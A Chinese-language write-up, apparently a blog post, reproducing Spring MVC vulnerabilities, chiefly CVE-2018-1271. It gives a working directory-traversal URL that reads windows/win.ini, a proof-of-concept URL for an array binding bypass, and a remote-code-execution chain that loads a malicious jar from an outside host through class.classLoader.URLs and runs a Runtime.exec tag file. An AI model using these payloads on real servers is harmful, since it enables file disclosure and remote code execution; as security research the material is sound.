Spring MVC 目录穿越漏洞(CVE-2018-1271)

漏洞简介

2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

漏洞影响

Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14

已不支持的旧版本仍然受影响

漏洞利用条件

Server运行于Windows系统上

要使用file协议打开资源文件目录

漏洞复现

复现环境

操作系统Windows

中间件jetty

环境搭建

1.下载 spring-mvc-showcase

git clone https://github.com/spring-projects/spring-mvc-showcase.git

修改pom.xml,使用Spring Framework 5.0.0。

.修改 Spring MVC 静态资源配置,可参考官方文档

通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。

registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

3.使用 jetty 启动项目

mvn jetty:run

至此复现环境搭建完毕。

复现过程及结果

访问以下链接

http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

可以看到成功读取到win.ini的内容了。

Spring mvc数组只读权限绕过漏洞

poc :    http://inbreak.net/springmvc/testjsp.htm?names[0]=xxxxx

Spring mvc远程代码执行漏洞

现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

jar:http://inbreak.net/kxlzx.jar!/

这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例

Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:

<!-- <form:input/> tag --><tag-file><name>input</name><path>/META-INF/tags/InputTag.tag</path></tag-file>

这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag

<%@ tag dynamic-attributes="dynattrs" %>
<%j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>

做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

攻击者访问url:

http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak.net/spring-exploit.jar!/

即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。

Spring MVC漏洞合集相关推荐

  1. Spring框架漏洞合集

    Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都 ...

  2. spring漏洞合集 下

    前言 现在的 java 开放的网站十个里面有九个是 spring 写的.网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网 ...

  3. @autowired注解_品Spring:对@Autowired和@Value注解的处理方法(文末附spring系列资源合集)...

    作者:编程新说李新杰 出自:微信公众号"编程新说" 原文:品Spring:对@Autowired和@Value注解的处理方法 在Spring中能够完成依赖注入的注解有JavaSE提 ...

  4. Laravel 漏洞合集

    Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...

  5. Spring MVC漏洞学习总结

    Spring MVC命令执行漏洞 http://book.51cto.com/art/201204/330094.htm <白帽子讲Web安全>第12章Web框架安全,本章讲述了一些Web ...

  6. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  7. MetInfo最新版代码审计漏洞合集

    最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波. seebug 上均是 MetInfo 6.0.0 版本的 ...

  8. zend及Slim 漏洞合集

    zend漏洞 zend framework文件读取漏洞分析 Zend Framework 1.11.13.1.12.0之前版本内的(1) Zend_Dom, (2) Zend_Feed, (3) Ze ...

  9. Typo3及Nette漏洞合集

    Typo3 漏洞 Typo3 反序例化漏洞 在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据TCA来进行判断并处理.比如我们在提交表单中新增一个名为a[b][c][d],值为2 ...

最新文章

  1. angular html清除元素,使用AngularJS删除DOM元素
  2. heatmap个人简单理解
  3. MTCNN-tensorflow源码解析之训练PNet网络-train_PNet.py
  4. 3-java学习笔记
  5. sicily 1295. 负权数
  6. matlab什么样的数表示0,matlab里a(i)~=0什么意思
  7. 格林酒店2020年第三季度营收为2.67亿元,恢复至同期91.4%
  8. ARM实现LED灯亮灭
  9. 新计算机如何用光盘安装系统,win7如何用光盘装系统_使用光盘重装win7系统步骤...
  10. CREATE TABLESPACE语法
  11. 物联网技术可以给养老院带来哪些变化
  12. 大学物理/量子物理基础/康普顿效应
  13. 黑洞猝灭剂BHQ-2 acid,1214891-99-2,BHQ-2 Carboxylic Acid用作各种荧光共振能量转移,这种探针主要用于分析。
  14. MindSpore求导传入sens值时infer报错For apos;MatMulapos;, the input dimensions
  15. 将PDF文件中的表格转换成Excel怎么转换
  16. (17)IPv4协议的功能实现原理
  17. FFmpeg RTMP推(收)HEVC/H265流 (ijk)
  18. jQuery的引入方式
  19. excel一列求和_EXCEL隔行隔列求和怎么操作
  20. c语言double类型数据四舍五入

热门文章

  1. JDK1.8的安装方式
  2. ETCD 一 什么是ETCD
  3. jQuery之.each( function(index, Element) )
  4. eclipse如何汉化--安装各国语言包
  5. 计算机选购配置项目活动,笔记本电脑选购活动计划.doc
  6. RuntimeError: Distributed package doesn‘t have NCCL built in
  7. C# FileInfo(System.IO)
  8. 计算机wonder基础知识,WonderSkills教材来了!一套更适合中国孩子的美国语文教材...
  9. win7启动无法自动修复此计算机,win7系统启动修复_win7系统中启动修复无法自动修复此计算机情况的三种解决方法介绍_win7双系统启动修复...
  10. 规范升级 NPM 包